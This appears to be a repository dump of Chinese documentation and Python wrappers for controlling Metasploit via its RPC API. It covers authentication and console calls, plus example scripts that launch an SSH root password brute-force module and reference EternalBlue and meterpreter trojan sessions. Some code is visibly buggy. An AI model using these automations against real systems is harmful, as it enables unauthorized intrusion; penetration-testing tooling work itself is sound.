| 683 | 使用这个库去调用攻击模块: 684 | 685 | ```python 686 | # _*_ encoding:utf-8 _*_ 687 | # __author__ = "dr0op" 688 | 689 | from pymsfrpc import msfrpc 690 | import time 691 | 692 | ip = "10.10.11.180" 693 | port = "55553" 694 | user = "msf" 695 | passwd = "msf" 696 | c = msfrpc.Client(ip,port,user,passwd) 697 | 698 | console_id = c.create_console().get(b'id') 699 | cmd = """ 700 | use auxiliary/scanner/ssh/ssh_login 701 | 702 | set RHOSTS 127.0.0.1 703 | 704 | set USERNAME root 705 | 706 | set PASS_FILE /tmp/pass.txt 707 | 708 | exploit 709 | """ 710 | res = c.get_version() 711 | resp = c.write_console(console_id,cmd) 712 | time.sleep(1) 713 | while True: 714 | res = c.read_console(console_id) 715 | if res[b'busy'] == True: 716 | time.sleep(1) 717 | continue 718 | elif res[b'busy'] == False: 719 | print(res[b'data'].decode()) 720 | break 721 | c.destroy_console(console_id) 722 | ``` 723 | 724 | 以上封装改自github开源代码msf-autopwn 725 | 726 | https://github.com/DanMcInerney/msf-autopwn 727 | 728 | 有所改动。 729 | 730 | ## 更全面的封装 731 | 732 | 更全面的封装可参考 733 | 734 | https://github.com/isaudits/msfrpc_console/blob/master/modules/pymetasploit/src/metasploit/msfrpc.py 735 | 736 | 要在较成熟系统上使用可参考,使用GPL0.4开源协议。 737 | 738 | ## 存在的问题及解决方案 739 | 740 | #### 1. 反序列化后的格式问题 741 | 742 | 在`Python3`版本测试过程中,发现对返回数据进行反序列化之后,出现类似: 743 | 744 | ``` 745 | {b'result': b'success', b'token': b'TEMPEqU3buWpncDeoBryIWOgKJ9O34cJ'} 746 | ``` 747 | 748 | 这种格式的dict,这表示dict的内容即keys和values是`bytes`类型的。这给我们的后续操作带来很大的不便,在判断时需要将其转化为`str`类型。要转化,只需要将其项`decode()`即可。然而,dict并不支持decode,需要遍历其中的项并进行转化。 749 | 750 | 转换方法现提供如下: 751 | 752 | ```Python 753 | def convert(data): 754 | """ 755 | 对Bytes类型的dict进行转化,转化为项为Str类型 756 | """ 757 | if isinstance(data, bytes): return data.decode('ascii') 758 | if isinstance(data, dict): return dict(map(convert, data.items())) 759 | if isinstance(data, tuple): return map(convert, data) 760 | return data 761 | 762 | ``` 763 | 764 | #### 2. meterpreter无法获取session问题 765 | 766 | 使用`msfvenom`生成一个木马并在目标执行。在msf服务端使用MSF RPC进行监听。使用`session.list`成功获取session列表。返回结果如下: 767 | 768 | ```json 769 | {14: {b'type': b'meterpreter', b'tunnel_local': b'10.10.11.180:3355', b'tunnel_peer': b'10.10.11.180:55656', b'via_exploit': b'exploit/multi/handler', b'via_payload': b'payload/windows/meterpreter/reverse_tcp', b'desc': b'Meterpreter', b'info': b'LAPTOP-0IG64IBE\\dr0op @ LAPTOP-0IG64IBE', b'workspace': b'false', b'session_host': b'10.10.11.180', b'session_port': 55656, b'target_host': b'10.10.11.180', b'username': b'dr0op', b'uuid': b'j3oe1mtk', b'exploit_uuid': b'nxyfbzx4', b'routes': b'', b'arch': b'x86', b'platform': b'windows'}} 770 | ``` 771 | 772 | session ID为14。 773 | 774 | 成功获取session列表后,就可以向session读写meterpreter命令。 775 | 776 | ```python 777 | c.write_meterpreter(14,'getuid\n') 778 | ``` 779 | 780 | ``` 781 | c.read_meterpreter(14) 782 | ``` 783 | 784 | 然而,MSF RPC端返回如下: 785 | 786 | ```json 787 | write meterpreter {b'error': True, b'error_class': b'ArgumentError', b'error_string': b'Unknown API Call: \'"rpc_meterperter_write"\'', b'error_backtrace': [b"lib/msf/core/rpc/v10/service.rb:143:in `process'", b"lib/msf/core/rpc/v10/service.rb:91:in `on_request_uri'", b"lib/msf/core/rpc/v10/service.rb:72:in `block in start'", b"lib/rex/proto/http/handler/proc.rb:38:in `on_request'", b"lib/rex/proto/http/server.rb:368:in `dispatch_request'", b"lib/rex/proto/http/server.rb:302:in `on_client_data'", b"lib/rex/proto/http/server.rb:161:in `block in start'", b"lib/rex/io/stream_server.rb:48:in `on_client_data'", b"lib/rex/io/stream_server.rb:199:in `block in monitor_clients'", b"lib/rex/io/stream_server.rb:197:in `each'", b"lib/rex/io/stream_server.rb:197:in `monitor_clients'", b"lib/rex/io/stream_server.rb:73:in `block in start'", b"lib/rex/thread_factory.rb:22:in `block in spawn'", b"lib/msf/core/thread_manager.rb:100:in `block in spawn'"], b'error_message': b'Unknown API Call: \'"rpc_meterperter_write"\''} 788 | 789 | ``` 790 | 791 | ```python 792 | read meterpreter {b'error': True, b'error_class': b'ArgumentError', b'error_string': b'Unknown API Call: \'"rpc_meterperter_read"\'', b'error_backtrace': [b"lib/msf/core/rpc/v10/service.rb:143:in `process'", b"lib/msf/core/rpc/v10/service.rb:91:in `on_request_uri'", b"lib/msf/core/rpc/v10/service.rb:72:in `block in start'", b"lib/rex/proto/http/handler/proc.rb:38:in `on_request'", b"lib/rex/proto/http/server.rb:368:in `dispatch_request'", b"lib/rex/proto/http/server.rb:302:in `on_client_data'", b"lib/rex/proto/http/server.rb:161:in `block in start'", b"lib/rex/io/stream_server.rb:48:in `on_client_data'", b"lib/rex/io/stream_server.rb:199:in `block in monitor_clients'", b"lib/rex/io/stream_server.rb:197:in `each'", b"lib/rex/io/stream_server.rb:197:in `monitor_clients'", b"lib/rex/io/stream_server.rb:73:in `block in start'", b"lib/rex/thread_factory.rb:22:in `block in spawn'", b"lib/msf/core/thread_manager.rb:100:in `block in spawn'"], b'error_message': b'Unknown API Call: \'"rpc_meterperter_read"\''} 793 | ``` 794 | 795 | 暂未找到解决方案。 796 | 797 | # 总结 798 | 799 | 该文档由浅入深地描述了MSF API调用开发的方式及常见问题。并且由于每个人的环境不同,相同的代码在不同的环境中可能无法运行,需自行解决环境及依赖问题。封装方法精力允许的情况下推荐第二种封装方式。更为专业及具有可扩展性。 -------------------------------------------------------------------------------- /msfapi.md: -------------------------------------------------------------------------------- 1 | # Metasploit API使用文档 2 | 3 | Metasploit官方提供了API调用方式,有 4 | 5 | * RPC 6 | * REST 7 | 8 | 两种API调用方式,REST方式只支持专业版使用,这里推荐使用RPC方式调用,即标准API调用。 9 | 10 | ## 使用RPC API调用 11 | 12 | 在通过对Cobalt Strike2.4版本客户端和`armitage`客户端进行反编译,发现其API调用也为RPC调用。可以认为RPC API调用是"稳定",“可靠”的。 13 | 14 | ### RPC API 调用官方文档 15 | 16 | https://metasploit.help.rapid7.com/docs/standard-api-methods-reference 17 | 18 | ## 开启服务端RPC 服务 19 | 20 | 开启服务端API服务有两种方式: 21 | 22 | 1. 通过msfconsole加载msfrpc插件来开启RPC 23 | 2. 通过msfrpcd服务来开启RPC 24 | 25 | `msfconsole`其实也可以理解为`metasploit`的`客户端`,和`msfclient`,`armitage`的功能一致。只是操作方式有所不同。 26 | 27 | ### 通过msfconsole加载RPC 28 | 29 | 进入`msfconsole`之后,运行加载命令 30 | 31 | ```shell 32 | msf5 > load msgrpc ServerHost=127.0.0.1 ServerPort=55553 User='msf' Pass='msf' 33 | [*] MSGRPC Service: 127.0.0.1:55553 34 | [*] MSGRPC Username: msf 35 | [*] MSGRPC Password: msf 36 | [*] Successfully loaded plugin: msgrpc 37 | msf5 > 38 | ``` 39 | 40 | 其中Serverhost即运行msf的主机,可以为`127.0.0.1`也可以是`0.0.0.0`区别是前者只能本机连接。 41 | 42 | ### 通过msfrpcd来开启RPC服务 43 | 44 | ```shell 45 | $ msfrpcd -U msf -P msf -S -f 46 | [*] MSGRPC starting on 0.0.0.0:55553 (NO SSL):Msg... 47 | [*] MSGRPC ready at 2018-10-17 11:06:46 +0800. 48 | ``` 49 | 50 | 即以用户名和密码分别为`msf`,`msf`,不启用`SSL`来开启服务。`msfrpcd`和`msfconsole`命令一般在同一目录下。如果环境变量设置正确,一般可以直接使用。 51 | 52 | 关于msfrpcd的详细参数如下: 53 | 54 | ```shell 55 | $ ./msfrpcd -h 56 | 57 | Usage: msfrpcd 58 | 59 | OPTIONS: 60 | 61 | -P 设置RPC登录密码 62 | -S 在RPC socket上禁止使用SSL 63 | -U 设置RPC登录用户名 64 | -a 绑定一个IP地址(本机IP地址) 65 | -f 在后台以精灵进程(守护进程)的方式运行、启动 66 | -h 帮助菜单 67 | -n 禁止使用数据库 68 | -p 绑定某个端口,默认为55553 69 | -u 设置Web服务器的URI 70 | ``` 71 | 72 | ## MSF RPC 与msgpack 73 | 74 | 与msf rpc api通信需要对通信的内容使用`msgpack`进行序列化,简单来说就是将要发送的数据包转换为二进制形式,以便于传输和格式统一。msgpack序列化之后的数据包支持多种语言,可以在msf服务端由ruby正常解析。 75 | 76 | Python下安装msgpack包: 77 | 78 | ```shell 79 | $ pip install msgpack 80 | ``` 81 | 82 | ```python 83 | >>> import msgpack 84 | >>> dic = {'result': 'success', 'token': 'TEMPSsU2eYsNDom7GMj42ZldrAtQ1vGK'} 85 | >>> res = msgpack.packb(dic) 86 | >>> res 87 | '\x82\xa5token\xda\x00 TEMPSsU2eYsNDom7GMj42ZldrAtQ1vGK\xa6result\xa7success' 88 | >>> 89 | 90 | ``` 91 | 92 | ## MSF API请求 93 | 94 | 在服务端开启RPC之后,可以使用HTTP协议去访问,会提示404,访问'api'会将文件下载下来。如果发生上述效果,表明服务端开启成功。 95 | 96 | 其实,MSF的RPC调用也利用HTTP协议,需要先连接`RPC socket`然后构造`POST`请求,不同的是,需要指定`Content-type`为`binary/message-pack`,这样客户端才会正确解析包。 97 | 98 | ### 登录认证API调用 99 | 100 | 登录认证时向服务端`POST`序列化发送如下数据包: 101 | 102 | 成功的请求示例 103 | 104 | 客户: 105 | 106 | ```json 107 | [ "auth.login", "MyUserName", "MyPassword"] 108 | ``` 109 | 110 | 服务器: 111 | 112 | ```json 113 | { "result" => "success", "token" => "a1a1a1a1a1a…" } 114 | ``` 115 | 116 | 这里用一个连接`MSF`服务端并进行登录的简单demo来演示: 117 | 118 | ```python 119 | 120 | # _*_ encoding:utf-8 _*_ 121 | # __author__ = "dr0op" 122 | # python3 123 | 124 | import msgpack 125 | import http.client 126 | 127 | HOST="127.0.0.1" 128 | PORT="55553" 129 | headers = {"Content-type" : "binary/message-pack"} 130 | 131 | # 连接MSF RPC Socket 132 | req = http.client.HTTPConnection(HOST, PORT) 133 | options = ["auth.login","msf","msf"] 134 | # 对参数进行序列化(编码) 135 | options = msgpack.packb(options) 136 | # 发送请求,序列化之后的数据包 137 | req.request("POST","/api/1.0",body=options,headers=headers) 138 | # 获取返回 139 | res = req.getresponse().read() 140 | # 对返回进行反序列户(解码) 141 | res = msgpack.unpackb(res) 142 | res = res[b'token'].decode() 143 | print(res) 144 | ``` 145 | 146 | 成功执行的结果`res`如下: 147 | 148 | ```json 149 | {'result': 'success', 'token': 'TEMPSsU2eYsNDom7GMj42ZldrAtQ1vGK'} 150 | ``` 151 | 152 | `Token`是一个随机字符串,是登录认证后的标识。 153 | 154 | ## API详解 155 | 156 | 以上使用一个简单的例子理解请求的`API`调用数据包格式及请求方式,其他的`API`请求都是同理的。只是请求的内容有所改变而已。 157 | 158 | 关于常用的API请求和返回总结如下: 159 | 160 | #### 认证: 161 | 162 | 成功的请求示例 163 | 164 | 客户: 165 | 166 | ```json 167 | [ "auth.login", "MyUserName", "MyPassword"] 168 | ``` 169 | 170 | 服务器: 171 | 172 | ```json 173 | { "result" => "success", "token" => "a1a1a1a1a1a…" } 174 | ``` 175 | 176 | ### 不成功的请求示例 177 | 178 | 客户: 179 | 180 | ```json 181 | [ "auth.login", "MyUserName", "BadPassword"] 182 | ``` 183 | 184 | 服务器: 185 | 186 | ```json 187 | { 188 | "error" => true, 189 | "error_class" => "Msf::RPC::Exception", 190 | "error_message" => "Invalid User ID or Password" 191 | } 192 | ``` 193 | 194 | 退出同理 195 | 196 | 197 | 198 | ## console.create 创建一个终端 199 | 200 | 在成功登录之后,就可以使用console.create创建一个终端实例。创建过程需要一定的时间,如果上个创建未完成,下一终端创建返回的dict会提示`busy`项为`True` 201 | 202 | 客户: 203 | 204 | ```json 205 | [ "console.create", ""] 206 | ``` 207 | 208 | 服务器: 209 | 210 | ```json 211 | { 212 | "id" => "0", 213 | "prompt" => "msf > ", 214 | "busy" => false 215 | } 216 | ``` 217 | 218 | ## console.destroy删除一个终端 219 | 220 | 客户: 221 | 222 | ```json 223 | [ "console.destroy", "", "ConsoleID"] 224 | ``` 225 | 226 | 服务器: 227 | 228 | ```json 229 | { "result" => "success" } 230 | ``` 231 | 232 | ## console.list 233 | 234 | console.list方法将返回所有现有控制台ID,其状态和提示的哈希值。 235 | 236 | 客户: 237 | 238 | ```json 239 | [ "console.list", ""] 240 | ``` 241 | 242 | 服务器: 243 | 244 | ```jsno 245 | { 246 | "0" => { 247 | "id" => "0", 248 | "prompt" => "msf exploit(\x01\x02\x01\x02handler\x01\x02) > ", 249 | "busy" => false 250 | }, 251 | "1" => { 252 | "id" => "1", 253 | "prompt" => "msf > ", 254 | "busy" => true 255 | } 256 | } 257 | ``` 258 | 259 | ## console.write 260 | 261 | console.write方法将数据发送到创建的终端,就想平时操作msfconsole那样,但需要给不同的命令后加上换行。 262 | 263 | 客户: 264 | 265 | ```json 266 | [ "console.write", "", "0", "version\n"] 267 | ``` 268 | 269 | 服务器: 270 | 271 | ```json 272 | { "wrote" => 8 } 273 | ``` 274 | 275 | ## 276 | 277 | ## console.read 278 | 279 | console.read方法将返回发送到终端命令的执行结果。 280 | 281 | 客户: 282 | 283 | ```json 284 | [ "console.read", "", "0"] 285 | ``` 286 | 287 | 服务器: 288 | 289 | ```json 290 | { 291 | "data" => "Framework: 4.0.0-release.14644[..]\n", 292 | "prompt" => "msf > ", 293 | "busy" => false 294 | } 295 | ``` 296 | 297 | ## MsfRpcClient 298 | 299 | 再使用一个`MSF RPC` Demo来演示一下: 300 | 301 | ```python 302 | # _*_ encoding:utf-8 _*_ 303 | # __author__ = "dr0op" 304 | # python3 305 | import msgpack 306 | import time 307 | import http.client 308 | 309 | HOST="127.0.0.1" 310 | PORT="55553" 311 | 312 | class Msfrpc: 313 | 314 | class MsfError(Exception): 315 | """ 316 | 异常处理函数 317 | """ 318 | def __init__(self, msg): 319 | self.msg = msg 320 | def __str__(self): 321 | return repr(self.msg) 322 | 323 | class MsfAuthError(MsfError): 324 | """ 325 | 登录异常处理 326 | """ 327 | def __init__(self, msg): 328 | self.msg = msg 329 | 330 | def __init__(self, opts=[]): 331 | self.host = HOST 332 | self.port = PORT 333 | self.uri = "/api" 334 | self.ssl = False 335 | self.authenticated = False 336 | self.token = False 337 | self.headers = {"Content-type" : "binary/message-pack"} 338 | if self.ssl: 339 | self.cli = http.client.HTTPConnection(self.host,self.port) 340 | else: 341 | self.cli = http.client.HTTPConnection(self.host, self.port) 342 | 343 | def encode(self, data): 344 | """ 345 | 序列化数据(编码) 346 | """ 347 | return msgpack.packb(data) 348 | 349 | def decode(self, data): 350 | """ 351 | 反序列化数据(解码) 352 | """ 353 | return msgpack.unpackb(data) 354 | 355 | def call(self, meth, opts = []): 356 | if meth != "auth.login": 357 | if not self.authenticated: 358 | raise self.MsfAuthError("MsfRPC: Not Authenticated") 359 | if meth != "auth.login": 360 | opts.insert(0,self.token) 361 | 362 | opts.insert(0,meth) 363 | params = self.encode(opts) 364 | # 发送请求包 365 | res = requests.post(self.uri, params,self.headers) 366 | resp = self.cli.getresponse() 367 | # 获取结果并解码 368 | return self.decode(resp.read()) 369 | 370 | def login(self, user, password): 371 | """ 372 | 登录认证函数 373 | """ 374 | ret = self.call('auth.login', [user,password]) 375 | if ret.get('result') == 'success': 376 | self.authenticated = True 377 | self.token = ret.get('token') 378 | return True 379 | 380 | else: 381 | raise self.MsfAuthError("MsfRPC: Authentication failed") 382 | 383 | 384 | if __name__ == '__main__': 385 | 386 | # 创建一个新的默认配置的客户端实例 387 | client = Msfrpc({}) 388 | # 使用密码abc123登录msf 389 | client.login('msf','msf') 390 | try: 391 | res = client.call('console.create') 392 | console_id = res['id'] 393 | except: 394 | print ("Console create failed\r\n") 395 | sys.exit() 396 | # 要发送给终端的命令 397 | cmd = """ 398 | use auxiliary/scanner/ssh/ssh_login 399 | 400 | set RHOSTS 127.0.0.1 401 | 402 | set USERNAME root 403 | 404 | set PASS_FILE /tmp/pass.txt 405 | 406 | exploit 407 | 408 | """ 409 | client.call('console.write',[console_id,cmd]) 410 | time.sleep(1) 411 | while True: 412 | # 发送命令并获取结果 413 | res = client.call('console.read',[console_id]) 414 | if len(res['data']) > 1: 415 | print (res['data']) 416 | if res['busy'] == True: 417 | time.sleep(1) 418 | continue 419 | break 420 | 421 | client.call('console.destroy',[console_id]) 422 | 423 | ``` 424 | 425 | 在这个例子中,调用MSF RPC登录获取`Token`之后,创建一个`console`,并发送命令到`console,由msf服务端去执行。执行成功之后会将结果以序列化后的形式返回。反序列化之后成为一个dict,包含了返回后的结果。 426 | 427 | ## 对API进行封装 428 | 429 | 以上是一个基础的MSF API简单调用模块去攻击的demo,但是在应用中,需要对其常见的API调用进行封装,做成一个属于我们自己的`库`,使用时,只需要去调用它即可。 430 | 431 | 简单的封装如下: 432 | 433 | ```python 434 | import msgpack 435 | import http.client as request 436 | 437 | 438 | class AuthError(Exception): 439 | """ 440 | 登录认证错误异常处理 441 | """ 442 | def __init__(self): 443 | print("登录失败,检查账户密码") 444 | 445 | 446 | 447 | class ConnectionError(Exception): 448 | """ 449 | 链接msfrpc错误异常处理 450 | """ 451 | def __init__(self): 452 | print("连接失败,服务端或网络问题") 453 | 454 | 455 | class Client(object): 456 | """ 457 | MsfRPC Client客户端,发送处理命令行参数 458 | """ 459 | def __init__(self,ip,port,user,passwd): 460 | # 属性 461 | self.user = user 462 | self.passwd = passwd 463 | self.server = ip 464 | self.port = port 465 | self.headers = {"Content-Type": "binary/message-pack"} 466 | self.client = request.HTTPConnection(self.server,self.port) 467 | self.auth() 468 | 469 | 470 | #装饰器对属性读写前的处理 471 | @property 472 | def headers(self): 473 | return self._headers 474 | 475 | @headers.setter 476 | def headers(self,value): 477 | self._headers = value 478 | 479 | @property 480 | def options(self): 481 | return self._options 482 | 483 | @options.setter 484 | def options(self,value): 485 | #将数据打包为通用模式 486 | self._options = msgpack.packb(value) 487 | 488 | @property 489 | def token(self): 490 | return self._token 491 | 492 | @token.setter 493 | def token(self,value): 494 | self._token = value 495 | 496 | def auth(self): 497 | """ 498 | 登录认证函数 499 | :return 一串随机的token值: 500 | """ 501 | print("Attempting to access token") 502 | self.options = ["auth.login",self.user,self.passwd] 503 | try: 504 | self.client.request("POST","/api",body=self.options,headers=self.headers) 505 | except: 506 | ConnectionError() 507 | c = self.client.getresponse() 508 | if c.status != 200: 509 | raise ConnectionError() 510 | else: 511 | res = msgpack.unpackb(c.read()) 512 | print(res) 513 | if b'error' not in res.keys() and res[b'result'] == b'success': 514 | self.token = res[b'token'] 515 | print("Token recived:> %s",self.token) 516 | else: 517 | raise AuthError() 518 | 519 | def send_command(self,options): 520 | self.options = options 521 | self.client.request("POST","/api",body=self.options,headers=self.headers) 522 | c = self.client.getresponse() 523 | if c.status != 200: 524 | raise ConnectionError() 525 | else: 526 | res = msgpack.unpackb(c.read()) 527 | return res 528 | 529 | 530 | def get_version(self): 531 | """ 532 | 获取msf和ruby的版本信息 533 | :return ruby 和 msf vresion: 534 | """ 535 | res = self.send_command(["core.version",self.token]) 536 | return res 537 | 538 | def create_console(self): 539 | """ 540 | 创建一个虚拟终端 541 | :return : 542 | """ 543 | res = self.send_command(["console.create",self.token]) 544 | return res 545 | 546 | def destroy_console(self,console_id): 547 | """ 548 | 销毁一个终端 549 | :param console_id 终端id: 550 | :return: 551 | """ 552 | #console_id = str(console_id) 553 | res = self.send_command(["console.destroy",self.token,console_id]) 554 | return res 555 | 556 | def list_consoles(self): 557 | """ 558 | 获取一个已获取的终端列表,【id,prompt,busy】 559 | :return list[id,prompt,busy]: 560 | """ 561 | res = self.send_command(["console.list",self.token]) 562 | return res 563 | 564 | def write_console(self,console_id,data,process=True): 565 | """ 566 | 向终端中写命令 567 | :param console_id: id 568 | :param data:要发送到终端的命令 569 | :param process: 570 | :return: 571 | """ 572 | if process == True: 573 | data +="\n" 574 | str(console_id) 575 | res = self.send_command(["console.write",self.token,console_id,data]) 576 | return res 577 | 578 | def read_console(self,console_id): 579 | """ 580 | 获取发送命令后终端的执行结果 581 | :param console_id: 582 | :return: 583 | """ 584 | str(console_id) 585 | res = self.send_command(["console.read",self.token,console_id]) 586 | return res 587 | 588 | def list_sessions(self): 589 | """ 590 | 列出所有session信息 591 | :return: 592 | """ 593 | res = self.send_command(["session.list",self.token]) 594 | return res 595 | 596 | def stop_session(self,ses_id): 597 | """ 598 | 停止一个session 599 | :param ses_id: 600 | :return: 601 | """ 602 | str(ses_id) 603 | res = self.send_command(["session.stop",self.token,ses_id]) 604 | return res 605 | 606 | def read_shell(self,ses_id,read_ptr=0): 607 | """ 608 | 获取session执行shell信息 609 | :param ses_id: 610 | :param read_ptr: 611 | :return: 612 | """ 613 | str(ses_id) 614 | res = self.send_command(["session.shell_read",self.token,ses_id,read_ptr]) 615 | return res 616 | 617 | def write_shell(self,ses_id,data,process=True): 618 | """ 619 | 向一个shell发送命令 620 | :param ses_id: 621 | :param data: 622 | :param process: 623 | :return: 624 | """ 625 | if process == True: 626 | data += "\n" 627 | str(ses_id) 628 | res = self.send_command(["session.shell_write",self.token,ses_id,data]) 629 | return res 630 | 631 | def write_meterpreter(self,ses_id,data): 632 | """ 633 | 向meterpreter发送命令 634 | :param ses_id: 635 | :param data: 636 | :return: 637 | """ 638 | str(ses_id) 639 | res = self.send_command(["session.meterperter_write",self.token,ses_id,data]) 640 | return res 641 | 642 | def read_meterpreter(self,ses_id): 643 | """ 644 | 读取meterpreter信息 645 | :param ses_id: 646 | :return: 647 | """ 648 | str(ses_id) 649 | res = self.send_command(["session.meterperter_read",self.token,ses_id]) 650 | return res 651 | 652 | def run_module(self,_type,name,HOST,PORT,payload=False): 653 | """ 654 | 执行模块 655 | :param _type: 656 | :param name: 657 | :param HOST: 658 | :param PORT: 659 | :param payload: 660 | :return: 661 | """ 662 | if payload != False: 663 | d = ["module.execute",self.token,_type,name,{"LHOST":HOST,"LPOST":PORT}] 664 | else: 665 | d = ["module.execute",self.token,_type,name,{"RHOST":HOST,"RHOST":PORT}] 666 | res = self.send_command(d) 667 | return res 668 | 669 | 670 | # if __name__ == "__main__": 671 | # auth = Client("127.0.0.1","msf","yFdkc6fB") 672 | # print(auth.get_version()) 673 | # print(auth.list_consoles()) 674 | # print(auth.create_console()) 675 | # print(auth.read_console(1)) 676 | # print(auth.write_console(1,"ls")) 677 | # print(auth.destroy_console(1)) 678 | # print(auth.list_sessions()) 679 | # print(auth.run_module("exploit","ms17_010_eternalblue","1.1.1.1","1")) 680 | 681 | ``` 682 | 683 | 使用这个库去调用攻击模块: 684 | 685 | ```python 686 | # _*_ encoding:utf-8 _*_ 687 | # __author__ = "dr0op" 688 | 689 | from pymsfrpc import msfrpc 690 | import time 691 | 692 | ip = "10.10.11.180" 693 | port = "55553" 694 | user = "msf" 695 | passwd = "msf" 696 | c = msfrpc.Client(ip,port,user,passwd) 697 | 698 | console_id = c.create_console().get(b'id') 699 | cmd = """ 700 | use auxiliary/scanner/ssh/ssh_login 701 | 702 | set RHOSTS 127.0.0.1 703 | 704 | set USERNAME root 705 | 706 | set PASS_FILE /tmp/pass.txt 707 | 708 | exploit 709 | """ 710 | res = c.get_version() 711 | resp = c.write_console(console_id,cmd) 712 | time.sleep(1) 713 | while True: 714 | res = c.read_console(console_id) 715 | if res[b'busy'] == True: 716 | time.sleep(1) 717 | continue 718 | elif res[b'busy'] == False: 719 | print(res[b'data'].decode()) 720 | break 721 | c.destroy_console(console_id) 722 | ``` 723 | 724 | 以上封装改自github开源代码msf-autopwn 725 | 726 | https://github.com/DanMcInerney/msf-autopwn 727 | 728 | 有所改动。 729 | 730 | ## 更全面的封装 731 | 732 | 更全面的封装可参考 733 | 734 | https://github.com/isaudits/msfrpc_console/blob/master/modules/pymetasploit/src/metasploit/msfrpc.py 735 | 736 | 要在较成熟系统上使用可参考,使用GPL0.4开源协议。 737 | 738 | ## 存在的问题及解决方案 739 | 740 | #### 1. 反序列化后的格式问题 741 | 742 | 在`Python3`版本测试过程中,发现对返回数据进行反序列化之后,出现类似: 743 | 744 | ``` 745 | {b'result': b'success', b'token': b'TEMPEqU3buWpncDeoBryIWOgKJ9O34cJ'} 746 | ``` 747 | 748 | 这种格式的dict,这表示dict的内容即keys和values是`bytes`类型的。这给我们的后续操作带来很大的不便,在判断时需要将其转化为`str`类型。要转化,只需要将其项`decode()`即可。然而,dict并不支持decode,需要遍历其中的项并进行转化。 749 | 750 | 转换方法现提供如下: 751 | 752 | ```Python 753 | def convert(data): 754 | """ 755 | 对Bytes类型的dict进行转化,转化为项为Str类型 756 | """ 757 | if isinstance(data, bytes): return data.decode('ascii') 758 | if isinstance(data, dict): return dict(map(convert, data.items())) 759 | if isinstance(data, tuple): return map(convert, data) 760 | return data 761 | 762 | ``` 763 | 764 | #### 2. meterpreter无法获取session问题 765 | 766 | 使用`msfvenom`生成一个木马并在目标执行。在msf服务端使用MSF RPC进行监听。使用`session.list`成功获取session列表。返回结果如下: 767 | 768 | ```json 769 | {14: {b'type': b'meterpreter', b'tunnel_local': b'10.10.11.180:3355', b'tunnel_peer': b'10.10.11.180:55656', b'via_exploit': b'exploit/multi/handler', b'via_payload': b'payload/windows/meterpreter/reverse_tcp', b'desc': b'Meterpreter', b'info': b'LAPTOP-0IG64IBE\\dr0op @ LAPTOP-0IG64IBE', b'workspace': b'false', b'session_host': b'10.10.11.180', b'session_port': 55656, b'target_host': b'10.10.11.180', b'username': b'dr0op', b'uuid': b'j3oe1mtk', b'exploit_uuid': b'nxyfbzx4', b'routes': b'', b'arch': b'x86', b'platform': b'windows'}} 770 | ``` 771 | 772 | session ID为14。 773 | 774 | 成功获取session列表后,就可以向session读写meterpreter命令。 775 | 776 | ```python 777 | c.write_meterpreter(14,'getuid\n') 778 | ``` 779 | 780 | ``` 781 | c.read_meterpreter(14) 782 | ``` 783 | 784 | 然而,MSF RPC端返回如下: 785 | 786 | ```json 787 | write meterpreter {b'error': True, b'error_class': b'ArgumentError', b'error_string': b'Unknown API Call: \'"rpc_meterperter_write"\'', b'error_backtrace': [b"lib/msf/core/rpc/v10/service.rb:143:in `process'", b"lib/msf/core/rpc/v10/service.rb:91:in `on_request_uri'", b"lib/msf/core/rpc/v10/service.rb:72:in `block in start'", b"lib/rex/proto/http/handler/proc.rb:38:in `on_request'", b"lib/rex/proto/http/server.rb:368:in `dispatch_request'", b"lib/rex/proto/http/server.rb:302:in `on_client_data'", b"lib/rex/proto/http/server.rb:161:in `block in start'", b"lib/rex/io/stream_server.rb:48:in `on_client_data'", b"lib/rex/io/stream_server.rb:199:in `block in monitor_clients'", b"lib/rex/io/stream_server.rb:197:in `each'", b"lib/rex/io/stream_server.rb:197:in `monitor_clients'", b"lib/rex/io/stream_server.rb:73:in `block in start'", b"lib/rex/thread_factory.rb:22:in `block in spawn'", b"lib/msf/core/thread_manager.rb:100:in `block in spawn'"], b'error_message': b'Unknown API Call: \'"rpc_meterperter_write"\''} 788 | 789 | ``` 790 | 791 | ```python 792 | read meterpreter {b'error': True, b'error_class': b'ArgumentError', b'error_string': b'Unknown API Call: \'"rpc_meterperter_read"\'', b'error_backtrace': [b"lib/msf/core/rpc/v10/service.rb:143:in `process'", b"lib/msf/core/rpc/v10/service.rb:91:in `on_request_uri'", b"lib/msf/core/rpc/v10/service.rb:72:in `block in start'", b"lib/rex/proto/http/handler/proc.rb:38:in `on_request'", b"lib/rex/proto/http/server.rb:368:in `dispatch_request'", b"lib/rex/proto/http/server.rb:302:in `on_client_data'", b"lib/rex/proto/http/server.rb:161:in `block in start'", b"lib/rex/io/stream_server.rb:48:in `on_client_data'", b"lib/rex/io/stream_server.rb:199:in `block in monitor_clients'", b"lib/rex/io/stream_server.rb:197:in `each'", b"lib/rex/io/stream_server.rb:197:in `monitor_clients'", b"lib/rex/io/stream_server.rb:73:in `block in start'", b"lib/rex/thread_factory.rb:22:in `block in spawn'", b"lib/msf/core/thread_manager.rb:100:in `block in spawn'"], b'error_message': b'Unknown API Call: \'"rpc_meterperter_read"\''} 793 | ``` 794 | 795 | 暂未找到解决方案。 796 | 797 | # 总结 798 | 799 | 该文档由浅入深地描述了MSF API调用开发的方式及常见问题。并且由于每个人的环境不同,相同的代码在不同的环境中可能无法运行,需自行解决环境及依赖问题。封装方法精力允许的情况下推荐第二种封装方式。更为专业及具有可扩展性。已将部分代码push至gitlab:`http://gitlab.vackbot.com/blank7/MsfRpcAPI`。 -------------------------------------------------------------------------------- /.idea/workspace.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | 110 | 115 | 116 | 117 | 118 | 2 119 | Http 120 | call 121 | 122 | 123 | 124 | 137 | 138 | 139 | 140 | 141 | true 142 | DEFINITION_ORDER 143 | 144 | 145 | 150 